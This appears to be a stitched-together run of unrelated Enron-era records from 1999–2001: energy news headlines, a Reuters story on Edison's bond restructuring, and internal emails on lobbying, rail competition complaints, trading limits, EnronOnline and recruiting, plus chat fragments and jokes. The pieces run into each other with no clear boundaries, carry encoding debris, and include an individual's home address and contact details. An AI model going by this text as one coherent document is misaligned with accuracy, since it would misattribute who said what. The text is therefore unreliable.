Los Angeles Department of Water And Power Daily Energy Update for Tuesday, 
DEC. 26, 2000

Kcs Energy, Inc. Reaches Agreement with Creditors' Committee And Noteholders 
on Amended Plan of Reorganization

`Server Farm' Boom Poses Threat to NW Power Supply: Energy Appetite of 
Proposed Data Centers Would Almost Rival Power Load of Seattle - Twenty-seven 
Or More Internet ``Server Farms'' Proposed for the Area Could Consume Nearly 
as Much Electricity as Seattle and Greatly Magnify Northwest Energy Proble

Strong Winds Fan S. Calif. Wildfires

Energy Output on the Rise, Mining And Industry Slow Down

Puc Puts New Restrictions on Utility Merger

An Artic Blast -- Minus 50 Wind Chill, Snow Forecast for Today -- Freezing 
Rain, Icy Roads Harass Friday Commuters

Tree-Trimming War Renewed -- Illinois Power Asks Icc for Guidelines on State 
Legislation

Cilco's Customers Likely to Be Zapped with Bolt of Sticker Shock -- Here Are 
Some Tips to Turn Down Thermostat on Energy Costs

China to Build More Natural Gas Power Plants

Bank to Offers 10-Billion-Yuan Credit to Power Giant

Kawasaki Heavy to Sell Home-Use Solar Power Systems

Credit Suisse to Look for Partners for Dhabol Power

2 Mega Projects in Philippines to Boost Luzon Power Grid

Endesa in 1.1bn Deal for Netherlands Power Group

New Vietnamese Thermal Power Plant States Trail Runs

Iran's Power Generation Capacity to Rise to 150 Bln Kwh by 2005

Indonesia's Power CO Pln May Not Need Subsidy in 2001

Top Energy Summaries - Tuesday, December 26, 2000 - 11:43 Am

US Tsys Softer as Traders Eye Calif Power Situation

Power Supply Reestablished to Azerbaijan After Payment of First Instalment

Gulf Power Link-Up

Eximbank Finances Iranian Power Plant

Top Energy Summaries - Tuesday, December 26, 2000 - 8:57 Am

Top Energy Summaries - Tuesday, December 26, 2000 - 7:46 Am

Thesubway.Com Announces Investment Opinion on Cambridge Energy, 3 Com Corp., 
CMGI Inc., Harmonic, Inc. And Berens Industries Inc.

PNOC-Energy Devt Corp seeking financial advisor for privatisation

The Rmb 6.95 Billion Yuan Credit Facility Granted by Bank of China to Huaneng 
Power International, Inc.

China: Adb Lends $58m for Wind Power Project

Town Adopts Resolution Against Expanding Kyushu Power Plant

China State Power Corp closes thermal power plants with 3.11 mln kw capacity

Nuclear Power Plant Shut Down After Pump Malfunction

Serbia Plunges Into Energy Crisis

Lead: Yamagata Avalanche Sweeps Away 4 Power Station Workers

4 Power Station Workers Missing After Avalanche in Yamagata

Iran, Taleban Meeting on Energy Cooperation Prospect

Macedonian Power System "Stabilized" Despite Deficit in Neighbouring Countries

Japan: Nuclear Power Plant Shut Down After Pump Malfunction

China: Central Bank Offers 10bn Yuan Credit to Power Giant

Kenya: Single Shareholder Challenges Power Company's "Massive Loss"

Russia Starts Shipping Nuclear Power Station Parts to Iran

State Commission Orders Wilkes Barre, Pa.-Area Utility to Hike Generation Rate

California's Energy Crisis Produces Increased Demand for Firewood

North Carolina Municipal-Power Trade Group Urges Halt of Deregulation Efforts

Scottish Power to Buy Powergen's Plant in Hertfordshire, England

South Carolina Utility Finds Signs of Cracks in Pipes at Nuclear Power Plant

REUTERS

UPDATE 1-Winter storm ices over U.S. heartland

UPDATE 2-California's Davis meeting with Greenspan, Summers

US Corp Bonds - Dead, but California Dreamin'

Ice storm knocks out power to 89,000 in Texas, Ark., La.

UPDATE 1-Goldendale cuts aluminum output due to expensive power

Goldendale Aluminum to slash output due to power costs

PSEG, Marubeni take over Tunisian power project

Arkansas ice storm leaves 49,000 residents in dark

Rochester Gas & Electric files $400 mln shelf offering

Emerson Electric files $1.5 bln debt shelf offering

Russia's governors to get say on utility carve-up

UPDATE 1-Macronix to resume output after power cut

Exchange.

services: Reuters, Knight-Ridder, and others. 

OR

According to Bloomberg, the Mission Energy Holdings deal has been cut from $1.2 billion to $700 million with price talk as high as 14%.

Tuesday June 26 6:32 PM ET 
Sources: Edison Reworking Bond Sale
By Jonathan Stempel 
NEW YORK (Reuters) - Edison International(NYSE:EIX <http://finance.yahoo.com/q?s=eix&d=t> - news <http://biz.yahoo.com/n/e/eix.html>), in a last-ditch bid to stay solvent, is restructuring a $1.2 billion junk bond sale because investors are afraid of getting caught in a second big California utility bankruptcy, bond market analysts and investors said on Tuesday. 
Edison, the parent of cash-strapped utility Southern California Edison (news <http://rd.yahoo.com/DailyNews/manual/*http://search.news.yahoo.com/search/news?p=%22Southern%0ACalifornia%20Edison%22&c=&n=20&yn=c&c=news&cs=nw> - web sites <http://rd.yahoo.com/DailyNews/manual/*http://search.yahoo.com/bin/search?p=Southern%20California%20Edison&cs=nw>), is considering trimming its bond sale and adding a bank term loan, the analysts and investors said. 
Rosemead, California-based Edison needs cash this week as it struggles with California's power crisis, analysts said. The company is trying to rid itself of debt maturing this year, including a fully drawn down $618 million bank credit line expiring Saturday. 
The seven-year secured notes being sold by Mission Energy Holding Co. have not found enough buyers despite carrying yields as high as 13.5 percent, analysts said. That's more than four percentage points above the recent 9.33 percent yield on a typical junk-rated electric utility bond, according to Merrill Lynch & Co. 
``We were hearing it was significantly undersubscribed around midday when the deal was scheduled to price, so the assumption is it will resurface in another form, probably much cheaper and restructured,'' said John Atkins, a corporate bond analyst at IDEAglobal.com <http://IDEAglobal.com>, a New York-based research firm. 
In the utility's semi-weekly conference call with holders of defaulted SoCal Edison debt, Chief Financial Officer Jim Scilacci said Tuesday afternoon there is ``virtually nothing the company can say'' about the private bond sale. 
Goldman Sachs & Co., which sources said is arranging the bond sale, also declined to comment. 
Edison said earlier this month it intended to use bond sale proceeds to pay down the bank credit line, as well as $250 million of notes due July 18 and $350 million due Nov. 1. 
Mission Energy Holding, which Edison created specifically to raise cash, was designed to be shielded from any bankruptcy of SoCal Edison, Edison or Edison Mission Energy. Some investors have said they are concerned the shield may not prove strong enough. 
Moody's Investors Service rated Mission Energy Holding's notes ``Ba2,'' its second highest junk grade. Standard & Poor's, rated them ``BB-minus,'' one notch lower. 
SoCal Edison, which has defaulted on $931 million of bonds and commercial paper, ran up more than $5.4 billion of debt because California's utility deregulation blocked it from recouping its soaring wholesale power costs. It agreed in April with Gov. Gray Davis (news <http://rd.yahoo.com/DailyNews/manual/*http://search.news.yahoo.com/search/news?p=%22Gov.%20Gray%20Davis%22&c=&n=20&yn=c&c=news&cs=nw> - web sites <http://rd.yahoo.com/DailyNews/manual/*http://search.yahoo.com/bin/search?p=Gov.%20Gray%20Davis&cs=nw>) on a rescue plan, but regulators have been slow to implement it, and many legislators oppose it. 
The utility is California's second largest; the largest, Pacific Gas & Electric Co., a unit of San Francisco-based PG&E Corp.(NYSE:PCG <http://finance.yahoo.com/q?s=pcg&d=t> - news <http://biz.yahoo.com/n/p/pcg.html>), filed for bankruptcy protection on April 6. 
Shares of Edison closed Tuesday on the New York Stock Exchange (news <http://rd.yahoo.com/DailyNews/manual/*http://search.news.yahoo.com/search/news?p=%22New%20York%20Stock%0AExchange%22&c=&n=20&yn=c&c=news&cs=nw> - web sites <http://rd.yahoo.com/DailyNews/manual/*http://search.yahoo.com/bin/search?p=York%20Stock%20Exchange>) at $11.24, down 33 cents. They have fallen 28 percent this year. 

FYI!

---------------------- Forwarded by Aimee Lannou/HOU/ECT on 12/21/2000 11:02 

"Kevin Olson" <olson@espllp.com> on 12/18/2000 12:19:44 PM
To: "Amy Lannou" <alannou@enron.com>
cc: "Janice Berke-Davis" <janice.berke-davis@equistarchem.com> 
Subject: January 2001 - MCNIC/Lyondell Noms.

Amy,

Please note that the MCNIC noms for January, 2001 into the Lyondell
Channelview plant via HPL will be 10,000 mmbtu/day.

Please call should you have any questions.

Thanks!

Cynthia, Ken said to tell you that he told David Sokol we would probably 
oppose it.

Rosie

Cynthia Sandherr
09/08/2000 04:49 PM

To: Kenneth Lay/Corp/Enron@ENRON, Steven J Kean/NA/Enron@Enron, Richard 
Shapiro/HOU/EES@EES, James D Steffes/HOU/EES@EES, Joe 
Hillings/Corp/Enron@ENRON, Tom Briggs/NA/Enron@Enron, Joe 
Hartsoe/Corp/Enron@ENRON, Sarah Novosel/Corp/Enron@ENRON, 
dwatkiss@bracepatt.com, awenner@velaw.com
cc:  
Subject: New PUHCA Exemption Legislative Language

Yesterday, Ken Lay spoke with MidAmerican CEO David Sokol regarding the 
attached new legislative amendment to provide a limited PUHCA exemption for 
companies with a high level of financial stability as determined by 
independent market analysts (i.e. "A" rating for Holding Companies or 
investment grade rating for utility companies).  This is not a permanent 
exemption as PUHCA would again apply should the company loose its high rating.

MidAmerican's lobbyist reported this conversation to me along with Ken Lay's 
reported commitment that we would review it as soon as we could.  Reportedly, 
Ken Lay was non-committal but not negatively disposed.

The utility strategy is to have Senator Bob Kerrey (D-NE) offer this as an 
amendment to a "must pass" piece of legislation during the waning days of 
this Congressional session.  This will be separate from the utilities' 
strategy to enact Private Use legislation (H.R. 4971, S. 2967 which includes 
tax language to exclude water and sewage connection fees from gross income as 
contributions to capital and language to increase the amount permitted to 
paid into nuclear decommissioning reserve funds primarily  for Commonwealth 
Edison) and to enact stand-alone Reliability legislation (S. 2071 and H.R. 
2944).

Senator Kerrey has already spoken to Senator Gramm (R-TX) about this PUHCA 
amendment and Gramm was reportedly  non-committal but not negatively disposed 
to the idea.  I will follow-up with Gramm's staff next week after they've 
reviewed it and convey their views to you.  According to MidAmerican,  the 
concept to insure stockholder protection along with consumer protection was 
Senator Kerrey's idea.  

It is possible that Congressman Dingell (D-MI) and Congressman Markey (D-MA) 
would still actively oppose this limited exemption, especially given the fact 
that Congressman Dingell (who would Chair the Commerce Committee should the 
Democrats regain control of the House) has recently said that whether or not 
he is Commerce Committee Chairman next Congress, that comprehensive 
electricity restructuring legislation including PUHCA repeal is "at least 
three years away from happening."

Steve and Rick, can we get a temperature gauge next week as to our position 
on this amendment?  As a reminder, Enron's position here-to-date has been to 
oppose stand-alone PUHCA repeal as this is the one provision utilities like 
Southern Company really want.  To date, this strategy has worked with the 
MidAmerican Utility Group willing to support our transmission open access 
provisions in turn for our PUHCA exemption support. 

Paul - you guys are tough.  Let's see what kind of reaction they get from EWS.

Thanks,

George

From:  Dawson, Paul  
Sent: Friday, May  11, 2001 1:05 PM
To: Kearney, Tom; Staley, Stuart; Mcclellan, George; Rizvi, Riaz; Quick, 
Robert; Evans, Mark; Morrison, Andrew; Schroeder, Mark; Grant, Fiona; Gentle, 
Jackie; Lewis, Richard; Shapiro, Richard
Subject: ORR Investigate EWS Railways for Abuse of Dominance

Following our complaint to ORR about abuse of dominance by EWS Railways, they 
have formally launched a Competition Act investigation.  They have asked EWS 
to provide copies of all correspondence (including e-mails, records of 
telephone conversations etc) relating to their dealings with a range of 
counterparties.  (Failure to provide this information is a criminal 
offence.)  This information will support their investigation into two 
elements of our complaint, namely that EWS has effectively refused to deal 
with Enron Coal Services and that they have sought to foreclose the market to 
us by discriminatory pricing.  ORR is also currently discussing two other 
allegations with other relevant competition authorities:

with the European Commission - the impact of unduly long term contracts with 
some generators that have foreclosed the market to ECSL; and
wth the US Department of Justice -  EWS's attempts to unfairly influence GM's 
pricing of locomotives to EWS competitors.

ORR may launch a further investigation into these two allegations once the 
outcome of their jurisdictional discussions is clear.  At this stage, the 
investigation is still confidential and ORR see no need for further publicity 
at the current time.

Further details are in the attached fax.

Paul

 << File: 396266.tif >> 

Just met w/ Skilling and Whalley. 

Var for gas has temp increase of $15MM until next friday (12/15/2000).
Jeff is calling for an executive comm mtg to ask for an additional $40 MM of 
corp var until next wed (12/13/2000).

One issue is UK power will be over VAR everyday starting probably thurs or 
fri of this week, unless we increase them as well. (They sweep retail deals 
into book once a week on this day). This increase only needs to be $2-3- 
million.

Fasten seat belts and apply oxygen masks. 

Rick

was it fun?  was the area nice?  were you in the mountains of oaxaca, or 
something?

From:  Denny, Jennifer  
Sent: Wednesday, May 23, 2001 1:16 PM
To: Lees, Lisa; Cass, Robert B.; Lees, Lisa
Subject: FW: ENRON COMPLETES ONE MILLION TRANSACTIONS ON ENRONONLINE

fyi please pass on

From:  Shah, Kal  
Sent: Wednesday, May 23, 2001 11:10 AM
To: Shults, Bob; Bridges, Michael; Forster, David; Puthigai, Savita; Denny, 
Jennifer; Clark, Keith; Webb, Jay; Hillier, Bob

FYI.  Pls. distribute in your group.

Kal

From:  Thode, Eric  
Sent: Wednesday, May 23, 2001 11:02 AM
To: Frevert, Mark; Whalley, Greg; Bibi, Philippe A.; Piper, Greg; Shah, Kal; 
Zipper, Andy
Subject: ENRON COMPLETES ONE MILLION TRANSACTIONS ON ENRONONLINE

Attached is today's press release regarding the millionth transaction on 
EnronOnline.  It has been released and has crossed the wire services.

Eric

I am ok with intraday recall, however this should be agreed to by the parties 
to the capacity release deal.  In other words, the parties should have the 
flexibility to make deals to include intraday recall rights or not. 

	From:  Colleen Sullivan                           10/04/2000 10:21 AM
	
To: Scott Neal/HOU/ECT@ECT, Phillip K Allen/HOU/ECT@ECT, Hunter S 
Shively/HOU/ECT@ECT, Thomas A Martin/HOU/ECT@ECT, Dick Jenkins/HOU/ECT@ECT
cc:  
Subject: LDC's Concern with Order 637 & GISB

Please see Gary's memo below.  Basically, Gary needs to know ASAP whether we 
have changed our stance on partial day capacity releases.  In the past, we 
have been against partial day recalls of capacity; however, with the growing 
need for on peak, off peak service, have we changed our stance?  There are 
obviously pros and cons to both approaches--we just need to agree on what we 
want our official stance to be.  Please advise ASAP.

---------------------- Forwarded by Colleen Sullivan/HOU/ECT on 10/04/2000 
   
	From:  Gary L Payne                           10/03/2000 01:30 PM
	
To: Donna Greif/HOU/ECT@ECT
cc: Colleen Sullivan/HOU/ECT@ECT, Bob M Hall/NA/Enron@Enron, Robert 
Superty/HOU/ECT@ECT 

Donna, As per your request, the attached is from the GISB comments filed by 
Keyspan, National Fuel and the AGA about Capacity release issues on Order 637 
and what GISB did or did not address in its evaluation of the FERC Order 637 
changes needed for the Current Capacity Release Standards. I have only 
researched the requests that have to do with Recall, Right to do Partial day 
Releases and Partial Day Recall. 
As you know, these have  been added to a Two day BPS meeting in Colorado 
Springs next week (OCT 10 & 11),  which I will be attending. At the last EC 
meeting the LDC's wanted this issue sent to FERC, By GISB, as an issue that 
needs further clarity from FERC before standards can be structured. The EC 
asked for guidance from the members and it was suggested by the EC members to 
send this issue back to the BPS committee for further discussion, with a 
commitment from the LDC's to have parties in attendance. Then BPS was to 
present a report, on progress, to the EC at the OCT 13th meeting. 
In my report I have Questions that are asking for guidance from management of 
any changes to our historical policy on Capacity Release and GISB standards.

Steve - as you will see from below, Mac's weekly report contained below lists 
all that he is working on or leading.  Consistent with Terry's point at the 
PRC, has has duties that go way beyond government and regulatory affairs 
(indeed, when you read through it, I am not sure how he even has time for all 
of it).  This is not a complaint, just verification of Terry's point, but 
does also suggest that we should think about if his PRC/review is 
appropriately within our group or not (what about the group you did the day 
before, property services, for example, given his seemingly do-it-all "office 
manager" role?).  mcs 
---------------------- Forwarded by Mark Schroeder/LON/ECT on 26/06/2000 
14:19 ---------------------------
From: Mac McClelland@ENRON_DEVELOPMENT on 26/06/2000 13:07
cc:  

Subject: Re: Weekly report

Mark:

This is what I'm working on.  I'm just developing this spreadsheet so its not 
complete, but represents the big things right now.

What's not included is Dolphin, Gaza IPP, and Oman Gas Distribution.  I'll 
include those in future editions.  Thanks.  Mac
---------------------- Forwarded by Mac McClelland/ENRON_DEVELOPMENT on 
06/26/2000 04:07 PM ---------------------------

06/26/2000 04:32 AM
To: Mac McClelland/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT
cc:  

Maybe a dumb question, but are these all items you are working on, or is this 
the whole office''s report?  thanks  mcs

To: Rick Bergsieker/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Janie 
Bonnard/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Mark Schroeder@ECT, Mark 
Palmer@ENRON, Dennis Vegas/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT
cc:  

Subject: Weekly report

FYI
---------------------- Forwarded by Sara Shackleton/HOU/ECT on 06/01/99 11:38 

Dale Neuner on 06/01/99 11:34:32 AM
To: Jeff Harbert/HOU/ECT@ECT, Joe Jure/HOU/ECT@ECT
Subject: The Dispatch Printing Company

The final version:

Thank you

	David Rosenberg
	11/09/2000 07:35 AM
		 
		 cc: 
		 Subject: Virtue is Rewarded!!!

Congratulations.  Next stop the top.

to ny?  why?

Sent:	Monday, November 19, 2001 11:13 AM

i think you should go soon

Sent:	Monday, November 19, 2001 11:09 AM

why is that rude.  it's not by my choice

youre rude

Sent:	Monday, November 19, 2001 11:08 AM

ok.  i might not be here by the time i am supposed to go to ny, but i guess you can keep thinking that.

Sent:	Monday, November 19, 2001 11:07 AM

you can answer me in ny

Sent:	Monday, November 19, 2001 11:06 AM

i'll have to think about it.

Sent:	Monday, November 19, 2001 11:04 AM

im still wating for one

Sent:	Monday, November 19, 2001 11:03 AM

i guess we'll see.  so what was my answer to your proposal?

Sent:	Monday, November 19, 2001 11:02 AM

yep

Sent:	Monday, November 19, 2001 11:01 AM

um nope.  are you?

havent you learned yet im always right

Sent:	Monday, November 19, 2001 11:00 AM

i hope that you are right.

Sent:	Monday, November 19, 2001 10:59 AM

youre not going anywhere

Sent:	Monday, November 19, 2001 10:58 AM

um ok.

Sent:	Monday, November 19, 2001 10:57 AM

nope, and stop

Sent:	Monday, November 19, 2001 10:54 AM

isn't that being too nice?  so i am freaking out about my job again. 

Valeria,

FYI -- here are kudos from one of your clients!  Keep up the good work!

Michelle

From: 	Gray, Judy  
Sent:	Monday, August 13, 2001 10:41 AM
To:	Cash, Michelle
Subject:	Valeria Hope

Michelle;
I have been working quite closely with Valeria these past few weeks on many difficult HR issues.  I wanted to let you know, that she is wonderful to work with.  Her calm, professional demeanor is a real asset in these times.  

Valeria has a difficult, but critical role here at Enron.  I consider her a true partner to my generalist duties.

Thanks
Judy

Rachel,

Vasant Shanbhogue and Tanya Tamarchenko from my group will be in London next 
week.
They can meet Howard.

Vince

Rachel Quirke@ENRON
01/25/2001 11:23 AM
cc:  
Subject: Howard Haughton interview

Hello,

I have been asked by Melanie Doyle to arrange for Nigel Price, Steve Leppard 
and herself to meet with Howard Haughton who you referred.  She has also 
asked that you meet with him when you are in London.

Could you please advise me when you will be in London and what the best day 
or time would be for you to meet him.

If you have any queries please contact me by return e-mail or phone 0044 207 
783 5677.

Regards Rachel Quirke

Please assure that this Notification is forwarded to your respective
Operating Departments ---

Notification of Operating Procedure Update

*	The following new or revised ISO Operating Procedures have been
implemented and are posted for reference on the ISO Website.

ISO Operating Procedure posted:  G-202 Real-Time Overgeneration Procedure
Version: 3.1
Effective Date: 9/21/2001
Procedure Purpose: The purpose of this procedure is to outline the actions
to be taken by ISO dispatch control center personnel in managing
Overgeneration during Real-time operations.
Summary of changes:  See attachment below 
 <<G-202 Procedure Change Description Form v3.1.doc>> 

*	Please find them at
http://www1.caiso.com/thegrid/operations/opsdoc/index.html under the
appropriate Operating Procedure section heading.

If you have any questions, please e-mail the 'Procedure Control Desk'
mailbox [mailto:procctrldesk@caiso.com] and we will respond as soon as
possible.

Thank-You,

Operations Support and Training

Mark,

We want to send this out tomorrow. Do you have any concerned with the LME or 
COMEX references as written?

Dave
---------------------- Forwarded by David Forster/Corp/Enron on 07/05/2000 

07/05/2000 03:04 PM
cc:  

Subject: Metals Press Release

03:04 PM ---------------------------

Amita Gosalia@ECT
07/05/2000 01:54 PM
To: David Forster/Corp/Enron@Enron
cc:  

Hi Guys

Greg requested a press release re metals transactions on EnronOnline.

I have made some amendments to the original press release prepared by Eric 
Thode and have amended the EnronOnline stats to reflect the stats contained 
in the most recent public report.

Could you please review the draft and forward comments asap.

Thanks

Amita

Their profile has been modified.

Thanks,
Stephanie

From:  Jones, Tana =20
Sent: Tuesday, April 24, 2001 9:58 AM
To: Guidroz, Walter
Cc: Lees, Lisa; Sever, Stephanie
Subject: Re: FW: PG&E Energy Trading Entities

I am sorry I am just getting back to you, but I had to check with my whole=
=20
legal team around the world, and I just heard back from the final critical=
=20
one.  We are OK with them trading the products below.  However, on physical=
=20
power, they can only trade west power.  Stephanie, will you need to open th=
em=20
up so they can trade immediately?

=09Walter Guidroz/ENRON@enronXgate 04/23/2001 05:35 PM =09   To: Lisa=20
Lees/ENRON@enronXgate, Stephanie Sever/ENRON@enronXgate, Tana=20
Jones/HOU/ECT@ECT  cc:   Subject: FW: PG&E Energy Trading Entities

Lisa/Stephanie, could you please ensure that the trading profiles for each =
of=20
the three PG&E entities are changed below such that by tomorrow morning the=
y=20
will be able to transact once we restore their headroom once we enter it in=
to=20
the system?

Tana, are you OK with restoring the changes reflected below?  I'm thinking=
=20
that since they had this transact ability once before, that it should be OK=
. =20

PLEASE LET ME KNOW IF THERE WILL BE ANY PROBLEMS. =20

Thanks all!

Walter

From:  Moran, Tom =20
Sent: Monday, April 23, 2001 5:08 PM
Subject: FW: PG&E Energy Trading Entities

Walter,

Could you ensure that the profiles are set-up accordingly and that CAS is=
=20
populated with a $5million minimum for each of these cp=01,s.

I do not want to turn them on in Datamanager until tomorrow am.

tm

From:  Conwell, Wendy =20
Sent: Monday, April 23, 2001 4:59 PM
To: Moran, Tom
Cc: Bradford, William S.; Ngo, Tracy; Sacks, Edward; Radous, Paul
Subject: PG&E Energy Trading Entities

Tom,

Per our discussion with Bill, please set up the following PG&E counterparti=
es=20
on EOL providing for transactions having a maximum tenor of 12 MONTHS:

PG&E Energy Trading - Power L.P.-------> Physical Power
PG&E Energy Trading, Canada Corporation---------> Physical Canadian Gas
PG&E Energy Trading - Gas Corporation---------->Physical and Financial US G=
as

Thanks,
Wendy

FYI if you guys are interested.
---------------------- Forwarded by Chris Germany/HOU/ECT on 02/29/2000 03:34 

02/29/2000 11:49 AM
cc:  
Subject: New Portfolio

The portfolio we have created is "East - Service Deals - No Contract" and can 
be opened up in Deal Manager to view the storage deals on the East desk that 
have no contract.  Since we just created the porftolio, you will have to 
click on the blue refresh arrow icon located in the Open dialogue box in Deal 
Manager.  This will refresh the list of portfolios you can open and include 
the one we just created.  If you have any questions, please call me at x35423.

Jeanne,

Per our conversation, I am requesting a check for the remaining dollar value 
from the relocation credit card provided to me.  The name as it appears on 
the card is Matthew Smith.  My new address is:  2345 Bering Dr., Apt. 514, 
Houston, TX 77057.  It would be great to have the check by the end of the 
week.

Thanks you.

Mat

Mike and Sally:

I have attached a spreadsheet which contains graphs reflecting the following 
numbers.  These numbers are from the fall 2000 recruiting season.  
Unfortunately, I do not have any recruiting numbers reflecting back before I 
began recruiting at Enron.

I will be happy to meet with you to provide further explanation and to 
discuss our participation in the endowment and trading floor sponsorship.

Please let me know if I can provide additional information.

Thanks!

lexi

UNIVERSITY OF OKLAHOMA 			
Full-Time Statistics Fall 2000			
	Interviewed	Offers Extended	Accepted
Finance	11	2	1
Accounting/Tax	3	2	1
Energy Management   	5	2	1
Economics	2	2	2
Other 	2	0	0
			
Intern Statistics Fall 2000			
	 Interns Interviewed	Intern Offers Extended	Interns Accepted
Finance	3	3	2
Accounting/Tax	4	4	2
Energy Management   	12	7	1
Economics	0	0	
Other	2	0	

Observations on the California Electricity Crisis
White House Writers Group
January 23, 2001

Will the last business to leave California please turn out the lights.
Oh wait, they?re already out.

California Governor Gray Davis may ultimately prove responsible for the=20
dimming of more lights than Frank Sinatra music.

California has done for energy deregulation what Florida has done for=20
elections.

California Governor Gray Davis says he?ll appoint a "power plant czar" to=
=20
help solve the state?s energy crisis. ?There must be a sign on his desk=20
saying, "The buck stops here=06?just long enough for me to pass it to someo=
ne=20
else."

During the current energy crisis in California, the spotlight shines on=20
Governor Gray Davis=06?so long as it?s not knocked out by rolling blackouts=
,=20
that is.

Gray Davis was shocked when told about the "doomsday scenario." ?Not the on=
e=20
from Pacific Gas & Electric which envisions California power blackouts=20
lasting 12 hours a day, the one from his aides saying he might lose the=20
governor?s race in 2002.

California politicians have learned what thieves have known for a longtime.=
=20
?It?s easier to pick someone?s pocket in the dark.

California is talking conservation. ?One good conservation measure would be=
=20
for Governor Gray Davis to save his breath trying to convince people that=
=20
government control is the answer to the energy crisis.

Possible Jingle Themes for Gray Davis Re-election Bid:

My Hopes Were High 'til the Lights Went Low

Brother, Can You Spare a Megawatt?

There's Dark at the End of the Tunnel

Return Me to Power (Even if You Don't Have Any)

Top 10 Reasons to Not Have California Government Electricity

10: ?Would create yet another oxymoron.

9: ?Electricity might go to wrong address the way mail does.

8: ?Promise of efficient electricity gives politicians one more thing to li=
e=20
about.

7: ?Power keeps going off when Rush Limbaugh comes on air.

6: ?Light bulbs would match politicians for dimness.

5: ?Special tax on flashlights.

4: ?Fifteen day waiting period to use microwave.

3: ?Rolling blackouts joined by rolling the taxpayers.

2: ?Consumer manual on government-mandated way to change a light bulb runs=
=20
25,000 pages.

1: ?Nine words: From the same people who gave you the DMV.

What was the point of that statement?  It sure seemed like a non-statement...

dudes!  plan?  coming saturday, leaving monday morning?  nort.
From: "Grant Cox" <gacox@mail.gsi-net.com>
To: "The Cox Family" <coxfamily@home.com>
Cc: <Elizabeth.Sager@enron.com>
Sent: Thursday, January 25, 2001 5:00 PM
Subject: Re: Hico del Mucho

> Hi there, Norty et al:
>
> As you might have gathered from the deafening silence, we won't be piling
> in the van this weekend.
>
> However, we are loco about hico and will figure out on which of the 2
> remaining weekends we can goco.
>
> Prez. day seems to have a good theme working, with the Crawford
connection.
>
> Oy-yoy
>
> Vaa
>
> Goob
>
>
>
> >    Hey Grant and Liz, we really want to get with you  and Ella and Sam
at
> >the ranchette, so here are a couple of potential weekends  coming up.
See
> >if any of these work for you:   1st choice:  next weekend January
> >26-27-28 2nd choice: Pres day weekend Feb 16-17-18-19 (some  part of it)
> >3rd choice:  Feb 9-10-11   From looking at the map it looks like it would
> >be  about 5 hours driving time for you.  No problem though with 2
> >well-behaved  kids like E and S.  Plus you could stop through Crawford
and
> >see the pres  on the way up.     Think about it and let me know.  nort.
>
>
>
> ---------------------------------------------------------------
>  Grant A. Cox                          ph: (713) 522-6300
>  Groundwater Services, Inc.           fax: (713) 522-8010
>  2211 Norfolk, Suite 1000          e-mail: gacox@gsi-net.com
>  Houston, TX 77098
>
>

Trade Count:
 195  Trades 
 9.4  Million Barrels
  7  Counterparties Transacting Today
 27 Counterparties Transacting to Date

EFET To Set Up Belgian Electricity Task Force
Dow Jones Energy Service, 04/10/01

GERMANY: DB Energie says German power trade in too few hands.
Reuters English News Service, 04/10/01

INDIA: INTERVIEW-India says Enron issue won't affect investment.

Saudi Gas Committee Submits Proj Leader Proposal-Sources

Online Energy Trading Will Exceed $3.6 Trillion By 2005, According To 
Forrester Research
Business Wire, 04/10/01

Indian Govt, Enron Set Up Committee to Resolve Tariff Dispute
Bloomberg, 04/10/01

Qatar Says Foreign Oil Companies May Invest $15 Billion by 2005

04/10/2001

BRUSSELS -(Dow Jones)- The European Federation of Energy Traders said Tuesday 
that it is forming a task force to look into the Belgian electricity market. 
"A number of our members have raised concerns about the trading environment 
in Belgium. This will be examined by the new task force," an EFET spokesman 
said.
The Belgian Task Force Electricity will include, among others, 
representatives from TXU Corp. (TXU), RWE Trading, Enron Europe (U.ENE), 
Eneco and Morgan Stanley Dean Witter (MWD) as well as and an energy 
specialist from the academic sphere. One or two Spanish players may also join 
the group. 
The task force is scheduled to hold its first meeting on May 19, a 
politically sensitive time for Belgium, as it is due to take over the E.U.'s 
rotating presidency from Sweden in June. 
The European Electricity Directive requires member states to have opened up 
at least 26.5% of their electricity markets by 1999. However, according to 
industry groups only 5% of the Belgian market is presently open to 
competition. 
EFET, which has 47 European energy trading companies among its members, has 
already set up a task force to look into the French power market - French 
Task Force Electricity - and a similar group to look at the German gas market 
- German Task Force Gas. 
-By Victoria Knight, Dow Jones Newswires; 322-285-132; 
victoria.knight@dowjones.com

By Vera Eckert

FRANKFURT, April 10 (Reuters) - DB Energie GmbH, the power supply division of 
German railways, said on Tuesday it was worried by a concentration of power 
trading in too few hands. 
Consolidation at the generation level had resulted in a trade oligopoly which 
only speedier market liberalisation across Europe could help overcome, said 
DB Energie, the leading power consumer accounting for three percent of the 
German total.
"Four big power companies are too few to guarantee competition," DB Energie 
spokesman Andreas P. Meyer said. 
"A few players can tighten supplies artificially, thus boosting prices, while 
there are high entry barriers for newcomers," he told Reuters. 
"As large consumers we want the harmonisation process in the EU to gather 
speed so that we can choose from a host of suppliers who are competing with 
each other." 
Since liberalisation two years ago, when German utilities rediscovered their 
customers and wooed them with price cuts, there has been a strong 
consolidation process, leaving most of the power generation market to three 
large companies. 
These are RWE , E.ON , EnBW . 
A fourth company is emerging in the country's east under the leadership of 
Hamburg utility HEW , backed by its Swedish majority owner Vattenfall . 
The formerly separate trading arms of the newly merged companies such as 
VEW/RWE are now operating under one roof. 
The entry of new players such as U.S. firm Enron and brokerage start-ups has 
not dented the position of the big four. 
CONSUMERS LACK CHOICE OF INDEPENDENT SELLERS 
"The distribution divisions of the big players have become the mouthpieces of 
their trading divisions with little room for manoeuvre - it's definitely not 
a buyers' market," Meyer said. 
He also said that railway operator Deutsche Bahn AG which paid 2.8 billion 
marks for its energy needs last year was burdened by high energy-related 
taxes. 
The tax bill on energy supplied by the DB Energie subsidiary to the parent 
company last year amounted to 620 million marks, but was seen rising to 900 
million by the year 2005. 
This was attributed to four taxes - the eco-tax on fuel use, the KWK law 
subsidising combined heat and power, the EEG law supporting renewable 
energies and the mineral oil tax. 
DB Energie's turnover last year of 2.2 billion marks did not exclusively 
represent energy purchases on behalf of Deutsche Bahn, but also reflected the 
growing third party business including portfolio management services, Meyer 
said. 
At the same time, Deutsche Bahn also bought some electricity, diesel oil, 
water, gas and heat from sources other than its own multi-utility subsidiary. 
Meyer said DB Energie had set itself ambitious growth and profit targets for 
the coming years. 
Of the 15 terawatt hours (TWh) purchases handled last year, which are 
projected to rise to 17.3 TWh in 2001, some 2 TWh were on behalf of external 
energy consumers. 
